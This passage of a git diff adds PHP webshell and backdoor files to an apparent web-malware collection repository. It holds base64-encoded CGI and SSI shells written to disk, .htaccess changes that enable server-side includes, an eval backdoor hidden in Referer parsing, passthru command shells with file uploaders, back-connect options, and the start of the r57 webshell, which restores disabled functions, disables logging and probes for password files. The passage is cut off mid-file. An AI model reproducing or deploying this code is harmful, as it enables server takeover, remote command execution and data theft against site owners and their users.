+bWQnfSkgew0KICAkY21kID0gJEZPUk17J2NtZCd9Ow0KfQ0KDQpwcmludCAnPEhUTUw+DQo8Ym9k +eT4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFt +ZT0iY21kIiBzaXplPTQ1IHZhbHVlPSInIC4gJGNtZCAuICciPg0KPGlucHV0IHR5cGU9InN1Ym1p +dCIgdmFsdWU9IlJ1biI+DQo8L2Zvcm0+DQo8cHJlPic7DQoNCmlmKGRlZmluZWQgJEZPUk17J2Nt +ZCd9KSB7DQogIHByaW50ICJSZXN1bHRzIG9mICckY21kJyBleGVjdXRpb246XG5cbiI7DQogIHBy +aW50ICItIng4MDsNCiAgcHJpbnQgIlxuIjsNCg0KICBvcGVuKENNRCwgIigkY21kKSAyPiYxIHwi +KSB8fCBwcmludCAiQ291bGQgbm90IGV4ZWN1dGUgY29tbWFuZCI7DQoNCiAgd2hpbGUoPENNRD4p +IHsNCiAgICBwcmludDsNCiAgfQ0KDQogIGNsb3NlKENNRCk7DQogIHByaW50ICItIng4MDsNCiAg +cHJpbnQgIlxuIjsNCn0NCg0KcHJpbnQgIjwvcHJlPiI7DQoNCnN1YiBwYXJzZV9wYXJhbWV0ZXJz +ICgkKSB7DQogIG15ICVyZXQ7DQoNCiAgbXkgJGlucHV0ID0gc2hpZnQ7DQoNCiAgZm9yZWFjaCBt +eSAkcGFpciAoc3BsaXQoJyYnLCAkaW5wdXQpKSB7DQogICAgbXkgKCR2YXIsICR2YWx1ZSkgPSBz +cGxpdCgnPScsICRwYWlyLCAyKTsNCiAgICANCiAgICBpZigkdmFyKSB7DQogICAgICAkdmFsdWUg +PX4gcy9cKy8gL2cgOw0KICAgICAgJHZhbHVlID1+IHMvJSguLikvcGFjaygnYycsaGV4KCQxKSkv +ZWc7DQoNCiAgICAgICRyZXR7JHZhcn0gPSAkdmFsdWU7DQogICAgfQ0KICB9DQoNCiAgcmV0dXJu +ICVyZXQ7DQp9'; + +$file = fopen("cgi.pr" ,"w+"); +$write = fwrite ($file ,base64_decode($cgico)); +fclose($file); +� � chmod("cgi.pr",0755); +� �echo "<iframe src=cgirun/cgi.pr width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_29": +� � mkdir('ssim', 0755); +� � chdir('ssim'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddType text/html .shtml +AddHandler server-parsed .shtml +AddOutputFilter INCLUDES .shtml +Options +Includes"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$ssiizo2023 = 'PCEtLSNpZiBleHByPSIkSFRUUF9IQ01EIi0tPjwhLS0jZXhlYyBjbWQ9ImNkICRIVFRQX0hQV0Q7 +ICRIVFRQX0hDTUQgMj4mMSItLT48IS0tI2Vsc2UtLT48aHRtbD48aGVhZD48dGl0bGU+UC5TLlMu +PC90aXRsZT48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmh0bWwsYm9keSwjanNvbix4bXAsZm9ybSx0 +YWJsZSx0YWJsZSB0ZCxpbnB1dHttYXJnaW46MDtwYWRkaW5nOjA7fWh0bWx7YmFja2dyb3VuZDoj +MDAwMDAwO30uZXJye3BhZGRpbmc6OHB4O3RleHQtYWxpZ246Y2VudGVyO2JvcmRlcjoxcHggc29s +aWQgcmVkO2JhY2tncm91bmQ6I2ZmZmZmZjt9I2pzb2Zme21hcmdpbjo1cHggOHB4O30janNvbntk +aXNwbGF5Om5vbmU7IHBhZGRpbmc6NXB4IDhweDt9eG1wLHRhYmxlLGlucHV0e2ZvbnQ6bm9ybWFs +IDlwdCAiQ291cmllciBOZXciO2NvbG9yOiNmMGYwZjA7Ym9yZGVyOm5vbmU7fXRhYmxle3dpZHRo +OjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30udGRuYnJ7d2hpdGUtc3BhY2U6cHJlO31p +bnB1dHtvdXRsaW5lOm5vbmU7IGJhY2tncm91bmQ6IzAwMDAwMDt9aW5wdXQ6Oi1tb3otZm9jdXMt +aW5uZXJ7Ym9yZGVyOm5vbmU7fTwvc3R5bGU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQi +PnZhciByZXosY21kLGhpc3QsdXNyLHNydixwd2Qsc3VzcixzcHdkO2Z1bmN0aW9uIHRyaW0oc3Ry +KXtyZXR1cm4gc3RyLnJlcGxhY2UoLyheXHMrKXwoXHMrJCkvZywgIiIpO31mdW5jdGlvbiBpbml0 +KCl7cmV6PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZXonKTtjbWQ9ZG9jdW1lbnQuZ2V0RWxl +bWVudEJ5SWQoJ2NtZCcpO2hpc3Q9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2hpc3QnKTtzdXNy +PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdXNyJyk7c3B3ZD1kb2N1bWVudC5nZXRFbGVtZW50 +QnlJZCgnc3B3ZCcpO3Vzcj10cmltKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c3InKS52YWx1 +ZSk7c3J2PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzc3J2JykuaW5uZXJIVE1MO3B3ZD10cmlt +KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwd2QnKS52YWx1ZSk7ZG9jdW1lbnQuZ2V0RWxlbWVu +dEJ5SWQoJ2pzb2ZmJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5 +SWQoJ2pzb24nKS5zdHlsZS5kaXNwbGF5PSdibG9jayc7aWYoc3Vzci5pbm5lclRleHQpe3N1c3Iu +aW5uZXJUZXh0PXVzcjtzcHdkLmlubmVyVGV4dD1wd2Q7fWVsc2V7c3Vzci50ZXh0Q29udGVudD11 +c3I7c3B3ZC50ZXh0Q29udGVudD1wd2Q7fWNtZC5mb2N1cygpOzwhLS0jaWYgZXhwcj0iIi0tPgpk +b2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3Npb24nKS5zdHlsZS5kaXNwbGF5PSdub25lJzs8IS0t +I2VuZGlmLS0+Cn1mdW5jdGlvbiBlbmRDbWQoKXtpZihzdXNyLmlubmVyVGV4dCljbWQudmFsdWU9 +Jyc7ZWxzZXtjbWQuYmx1cigpO2NtZC52YWx1ZT0nJztjbWQuZm9jdXMoKTt9ZG9jdW1lbnQuYm9k +eS5zY3JvbGxUb3A9ZG9jdW1lbnQuYm9keS5zY3JvbGxIZWlnaHQ7fWZ1bmN0aW9uIHNlbmRDbWQo +KXt2YXIgY21kVmFsdWU9Y21kLnZhbHVlO2lmKGhpc3Qub3B0aW9ucyl7dmFyIGlzVW5pcXVlPXRy +dWUsb3B0Q291bnQ9aGlzdC5vcHRpb25zLmxlbmd0aDtmb3IodmFyIGk9MDtpPG9wdENvdW50O2kr +KylpZihoaXN0Lm9wdGlvbnNbaV0udmFsdWU9PWNtZFZhbHVlKXtpc1VuaXF1ZT1mYWxzZTticmVh +azt9aWYoaXNVbmlxdWUpaGlzdC5hcHBlbmRDaGlsZChuZXcgT3B0aW9uKGNtZFZhbHVlLGNtZFZh +bHVlKSk7fWlmKGNtZFZhbHVlPT0nY2xlYXInKXtyZXouaW5uZXJIVE1MPScnO2VuZENtZCgpO31l +bHNlIGlmKGNtZFZhbHVlPT0nZXhpdCcpd2luZG93LmNsb3NlKCk7ZWxzZSBpZihjbWRWYWx1ZSE9 +Jycpe3ZhciBhamF4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO2FqYXguY21kPWNtZFZhbHVlO2lmKGNt +ZFZhbHVlLnN1YnN0cigwLDMpPT0nY2QgJyljbWRWYWx1ZSs9JyAyPiYxOyBwd2QnO2FqYXgub3Bl +bignR0VUJyxkb2N1bWVudC5VUkwsdHJ1ZSk7YWpheC5vbnJlYWR5c3RhdGVjaGFuZ2U9b25TdGF0 +dXNDaGFuZ2U7YWpheC5zZXRSZXF1ZXN0SGVhZGVyKCdIVVNSJyx1c3IpO2FqYXguc2V0UmVxdWVz +dEhlYWRlcignSFBXRCcscHdkKTthamF4LnNldFJlcXVlc3RIZWFkZXIoJ0hDTUQnLGNtZFZhbHVl +KTthamF4LnNlbmQobnVsbCk7fX1mdW5jdGlvbiBvblN0YXR1c0NoYW5nZSgpe2lmKHRoaXMucmVh +ZHlTdGF0ZT09NCl7aWYodGhpcy5zdGF0dXM9PTIwMCl7dmFyIHJlcz11c3IrJ0AnK3NydisnOicr +cHdkKyckICcrdGhpcy5jbWQrJ1xuJztpZih0aGlzLmNtZC5zdWJzdHIoMCwzKT09J2NkICcpe2lm +KHRoaXMucmVzcG9uc2VUZXh0LmluZGV4T2YoImNhbid0IGNkIik9PS0xKXtwd2Q9dHJpbSh0aGlz +LnJlc3BvbnNlVGV4dCk7aWYocHdkLmlubmVyVGV4dClzcHdkLmlubmVyVGV4dD1wd2Q7ZWxzZSBz +cHdkLnRleHRDb250ZW50PXB3ZDtyZXMrPSdcbic7fWVsc2UgcmVzKz0nY2FuXCd0IGNkICcrdGhp +cy5jbWQuc3Vic3RyKDMpKydcblxuJzt9ZWxzZSByZXMrPXRoaXMucmVzcG9uc2VUZXh0O2lmKHJl +ei5pbm5lclRleHQpcmV6LmlubmVyVGV4dCs9cmVzO2Vsc2UgcmV6LnRleHRDb250ZW50Kz1yZXM7 +ZW5kQ21kKCk7fWVsc2UgYWxlcnQoIkVSUk9SOlxuU3RhdHVzOiAiK3RoaXMuc3RhdHVzKyIgKCIr +dGhpcy5zdGF0dXNUZXh0KyIpXG5Db21tYW5kOiAiK3RoaXMuY21kKTt9fTwvc2NyaXB0PjwvaGVh +ZD48Ym9keSBvbmxvYWQ9ImluaXQoKSI+PGRpdiBpZD0ianNvZmYiIGNsYXNzPSJlcnIiPkNhbid0 +IHdvcmsgd2l0aG91dCBqYXZhc2NyaXB0LiBTb3JyeS48L2Rpdj48ZGl2IGlkPSJqc29uIj48IS0t +I2lmIGV4cHI9IiItLT48ZGl2IGNsYXNzPSJlcnIiPlNTSSBub3Qgd29yay4gU29ycnkuPC9kaXY+ +PCEtLSNlbmRpZi0tPjxkaXYgaWQ9InNzaW9uIj48eG1wIGlkPSJyZXoiPjwveG1wPjxmb3JtIGFj +dGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJzZW5kQ21kKCk7IHJldHVybiBmYWxzZSI+ +PHRhYmxlIGJvcmRlcj0iMCI+PHRyPjx0ZCB3aWR0aD0iMTBweCIgY2xhc3M9InRkbmJyIj48c3Bh +biBpZD0ic3VzciI+PC9zcGFuPkA8c3BhbiBpZD0ic3NydiI+PCEtLSNlY2hvIHZhcj0iU0VSVkVS +X05BTUUiLS0+PC9zcGFuPjo8c3BhbiBpZD0ic3B3ZCI+PC9zcGFuPiQgPC90ZD48dGQ+PGlucHV0 +IHR5cGU9InRleHQiIGlkPSJjbWQiIHN0eWxlPSJ3aWR0aDoxMDAlIiBsaXN0PSJoaXN0Ii8+PC90 +ZD48dGQgd2lkdGg9IjEwcHgiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSImZ3Q7Jmd0OyIv +PjwvdGQ+PC90cj48L3RhYmxlPjxkYXRhbGlzdCBpZD0iaGlzdCI+PC9kYXRhbGlzdD48aW5wdXQg +dHlwZT0iaGlkZGVuIiBpZD0idXNyIiB2YWx1ZT0iPCEtLSNleGVjIGNtZD0id2hvYW1pIi0tPiIv +PjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwd2QiIHZhbHVlPSI8IS0tI2V4ZWMgY21kPSJwd2Qi +LS0+Ii8+PC9mb3JtPjwvZGl2PjwvZGl2PjwvYm9keT48L2h0bWw+PCEtLSNlbmRpZi0tPgo='; + +$file = fopen("pss_v.1.0_min.shtml" ,"w+"); +$write = fwrite ($file ,base64_decode($ssiizo2023)); +fclose($file); + +� �echo "<iframe src=ssim/pss_v.1.0_min.shtml width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_30": +� � mkdir('Ph33r', 0755); +� � chdir('Ph33r'); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddHandler server-parsed .html .Ph33r"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +$sabolamer = 'dXNlckBOaW5qYS1TZWN1cml0eTp+CjwhLS0jZXhlYyBjbWQ9IiRIVFRQX0FDQ0VQVCIgLS0+'; +$file = fopen("Ph33r.Ph33r" ,"w+"); +$write = fwrite ($file ,base64_decode($sabolamer)); +fclose($file); +$izobasbakan = 'PD9waHAKCiMgVVJMIFNTSQokdXJsUGgzID0gJ1BoMzNyLlBoMzNyJzsKCiAgICBmdW5jdGlvbiBz +ZW5kKCR1cmxQaDMsJGNtZCkKICAgIHsKICAgICAgICBpZigkY3VybCA9IGN1cmxfaW5pdCgpKQog +ICAgICAgIHsjIGJ5cGFzcyAyMDExCgkJICMgc2FmZV9tb2QgJiBQSFBTdUhvc2luICYgZGlzYWJs +ZV9mdW5jdGlvbnMKCQkgIyBCeSBQaDMzcgogICAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxD +VVJMT1BUX1VSTCwgJHVybFBoMyk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxP +UFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENV +UkxPUFRfQ09OTkVDVFRJTUVPVVQsMzApOwoKICAgICAgICAgICAgJGhlYWRlcnMgPSBhcnJheSgi +QWNjZXB0OiAiLiRjbWQpOwoKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9I +VFRQSEVBREVSLCRoZWFkZXJzKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9Q +VF9VUkwsJHVybFBoMyk7CiAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGN1cmwpOwoKICAg +ICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY3VybCk7CiAgICB9CiAgICBwcmludCAnPGhlYWQ+ +Cjx0aXRsZT4gUGgzM3IgLSBieXBhc3MgMjAxMSBTU2kgPC90aXRsZT4KPHN0eWxlIHR5cGU9InRl +eHQvY3NzIj4KLmF1dG8tc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouYXV0by1zdHls +ZTIgewoJdGV4dC1hbGlnbjogY2VudGVyOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cglmb250LWZhbWls +eTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKfQouYXV0by1zdHlsZTMgewoJdGV4dC1h +bGlnbjogY2VudGVyOwoJY29sb3I6ICNGRjk5MzM7Cn0KLmF1dG8tc3R5bGU0IHsKCWZvbnQtc2l6 +ZTogeHgtc21hbGw7Cglmb250LXdlaWdodDogYm9sZDsKfQphIHsKCWNvbG9yOiAjQzBDMEMwOwp9 +CmE6dmlzaXRlZCB7Cgljb2xvcjogI0MwQzBDMDsKfQphOmFjdGl2ZSB7Cgljb2xvcjogI0MwQzBD +MDsKfQphOmhvdmVyIHsKCWNvbG9yOiAjQzBDMEMwOwp9Cjwvc3R5bGU+CjwvaGVhZD4nOwogICAg +cHJpbnQnPGJvZHkgc3R5bGU9ImNvbG9yOiAjRkY5OTMzOyBiYWNrZ3JvdW5kLWNvbG9yOiAjNjY2 +NjY2OyAiPgoKPGRpdiBjbGFzcz0iYXV0by1zdHlsZTMiPgonOwogICAgcHJpbnQgJwk8c3BhbiBj +bGFzcz0iYXV0by1zdHlsZTIiPlNTSSBleHBsb2l0IC0gJy4kdXJsUGgzLic8L3NwYW4+IDxiciBj +bGFzcz0iYXV0by1zdHlsZTQiIC8+PGJyIC8+JzsKCXByaW50ICc8L2Rpdj4nOwogICAgcHJpbnQg +JzwvZGl2Pgo8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+Cgk8ZGl2IGNsYXNzPSJhdXRv +LXN0eWxlMSI+JzsKCiAgICBwcmludCAkX1BPU1RbJ2NtZCddLic6IDxiciAvPic7CiAgICBwcmlu +dCAnPHRleHRhcmVhIHdyYXA9Im9mZiIgc3R5bGU9IndpZHRoOiA2OTdweDsgaGVpZ2h0OiAyOTNw +eCIgbmFtZT0iUGgzM3IiPicuIHNlbmQoJHVybFBoMywkX1BPU1RbJ2NtZCddKSAuJzwvdGV4dGFy +ZWE+PGJyIC8+JzsKCiAgICBwcmludCAnPGlucHV0IG5hbWU9ImNtZCIgdHlwZT0idGV4dCIgdmFs +dWU9InVuYW1lIC1hIj48YnIgLz4nOwoKICAgIHByaW50ICc8aW5wdXQgdHlwZT0ic3VibWl0IiB2 +YWx1ZT0iUGgzM3IiPjxiciAvPic7CiAgICBwcmludCAnPC9kaXY+IDwvZm9ybT4KIDxhIGhyZWY9 +Imh0dHA6Ly9wZW50ZXN0LmVua24ubmV0L2Jsb2cucGhwIj4gCjxwIGNsYXNzPSJhdXRvLXN0eWxl +MSI+TmluamEtU2VjdXJpdHkgdGVhbTxwPjwvYT4KPHAgY2xhc3M9ImF1dG8tc3R5bGUxIj4KPGZv +bnQgY29sb3I9IiNGRjAwMDAiPjxiPkFudGktdHJ1c3QgLSBQaDMzciAtPGZvbnQgY29sb3I9IiNG +RjAwMDAiPkJsYWNrIApIYXQgLSBtYXowMDI8L2ZvbnQ+JzsKcHJpbnQgJzxwIGNsYXNzPSJhdXRv +LXN0eWxlMSI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj4gd2VsY29tZS1iYWNrIDogc2VjLXIx +ei5jb20gPC9mb250PjwvYT4gPC9iPic7Cgo/Pg=='; + +$file = fopen("Ph33r.php" ,"w+"); +$write = fwrite ($file ,base64_decode($izobasbakan)); +fclose($file); + +� �echo "<iframe src=Ph33r/Ph33r.php width=100% height=100% +frameborder=0></iframe> "; +break; +} +?> +<? +// Keeps your deface +error_reporting(0);set_magic_quotes_runtime(0);if(strtolower(substr(PHP_OS, +0, 3)) == "win"){$s="\\";}else{$s="/";}$ad=$_REQUEST['ad']; +if ($ad){chdir($ad);}else{$ad=getcwd();}if +($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], +$_FILES["ff"]["name"]);} +if ($hr = opendir($ad)) {while($f = readdir($hr)){if(is_dir($f)){$df=$df.$f.' +';}else{$lf=$lf.$f.' +';}}closedir($hr);}$form='<form action="'.$_SERVER['PHP_SELF'].'" method=get>'; +parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && +count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", +join(array_slice($a,count($a)-3)))));echo '</star>';} +echo '<center><textarea cols=90 +rows=20>';if($_GET['cme']){passthru($_GET['cme']);}else{echo +$df.$lf;};echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 +value='.getcwd().$s.'><input type=submit +value=Go></form>'.$form.'Command Execute : <input name=cme size=50 +value=id> <input type=submit value=eXecute></form><form +action="'.$me.'" method=post enctype=multipart/form-data>Upload : +<input size=50 type=file name=ff > <input type=hidden name=ad +value='.getcwd().'><input type=submit +value=Send></form>'.$form.'Modeminizde 22 port a&#231;&#305;k +olmal&#305; : <a href="?BackConnect=PHP_1"><font color="green">Php +Backconnect 1</font></a> +&nbsp;&nbsp;<a href="?BackConnect=PHP_2"><font color="red">Php +Backconnect 2</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_3"><font +color="orange">Php Backconnect 3</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_13"><font color="orange">Php Backconnect +4</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_4"><font +color="pink">Dc Backconnect</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_21"><font +color="white">Perlsocket</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_5"><font color="yellow">Python +Bacconnect</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_17"><font +color="red">Python izo</font></a>&nbsp;&nbsp;<a +href="?BackConnect=PHP_12"><font color="brown">Metasploit +Bacconnect</font></a></form>'; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/pws.txt b/web-malware-collection-master/Backdoors/PHP/pws.txt new file mode 100755 index 0000000..cf979a1 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/pws.txt @@ -0,0 +1,35 @@ +<html> +<head> +<div align="left"><font size="1">Input command :</font></div> +<form name="cmd" method="POST" enctype="multipart/form-data"> +<input type="text" name="cmd" size="30" class="input"><br> +<pre> +<?php +if ($_POST['cmd']){ +$cmd = $_POST['cmd']; +passthru($cmd); +} +?> +</pre> +<hr> +<div align="left"><font size="1">Uploader file :</font></div> + +<?php +$uploaded = $_FILES['file']['tmp_name']; +if (file_exists($uploaded)) { + $pwddir = $_POST['dir']; + $real = $_FILES['file']['name']; + $dez = $pwddir."/".$real; + copy($uploaded, $dez); + echo "FILE UPLOADED TO $dez"; +} +?> </pre> +<form name="form1" method="post" enctype="multipart/form-data"> + <input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>"> + <input type="submit" name="submit2" value="Upload"> + <input type="file" name="file" size="15"> + </td> + </tr> +</table> +</body> +</html> diff --git a/web-malware-collection-master/Backdoors/PHP/r57-bd.txt b/web-malware-collection-master/Backdoors/PHP/r57-bd.txt new file mode 100755 index 0000000..736e827 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57-bd.txt @@ -0,0 +1,4136 @@ +<?php + +if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");} + +$language='eng'; + +$auth = 0; + +$name=''; +$pass=''; + +//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8 +@setlocale(LC_ALL,'ru_RU.cp1251'); + +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +if(@function_exists('ini_set')) + { + @ini_set('error_log',NULL); + @ini_set('log_errors',0); + @ini_set('file_uploads',1); + @ini_set('allow_url_fopen',1); + } +else + { + @ini_alter('error_log',NULL); + @ini_alter('log_errors',0); + @ini_alter('file_uploads',1); + @ini_alter('allow_url_fopen',1); + } + +error_reporting(E_ALL); + +/* ??? ????? */ +$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl'); +$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja'); +$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/'); +$downloaders = array('wget','fetch','lynx','links','curl','get'); + +/* ??? ?????? ???????? ???? ????? realpath() */ +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.01234567890"; +$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; + +$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', +'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', +'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', +'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing'); + +/******************************************************************************************************/ + +define("starttime",@getmicrotime()); + +if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;}; + +set_magic_quotes_runtime(0); +@set_time_limit(0); +if(@function_exists('ini_set')) + { + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + } +else + { + @ini_alter('max_execution_time',0); + @ini_alter('output_buffering',0); + } +$safe_mode = @ini_get('safe_mode'); +#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;}; +$version = '1.42'; +if(@version_compare(@phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="HELLO!"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<h1>Access Denied</h1>"); + } +} + +if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) { + $tempdir='./'; + $select_tempdir = '<select name=tempdir><option value="./">./</option>'; + foreach( $tempdirs as $item) { + if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;} + } + $select_tempdir .= '</select>'; + setcookie('tempdir',$tempdir); + setcookie('select_tempdir',$select_tempdir); +}else{ + if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];} + $select_tempdir = $_COOKIE['select_tempdir']; +} + +$head = ' +<html> +<head> +<title>Not Found</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #000000; +} +.table1 { +BORDER: 0px; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +.td1 { +BORDER: 0px; +font: 7pt Verdana; +color: #000000; +} +.tr1 { +BORDER: 0px; +color: #000000; +} +table { +BORDER: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +color: #000000; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +color: #000000;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +color: #000000; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +color: #000000; +} +BODY { +margin: 1px; +color: #000000; +background-color: #e4e0d8; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} + + +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name 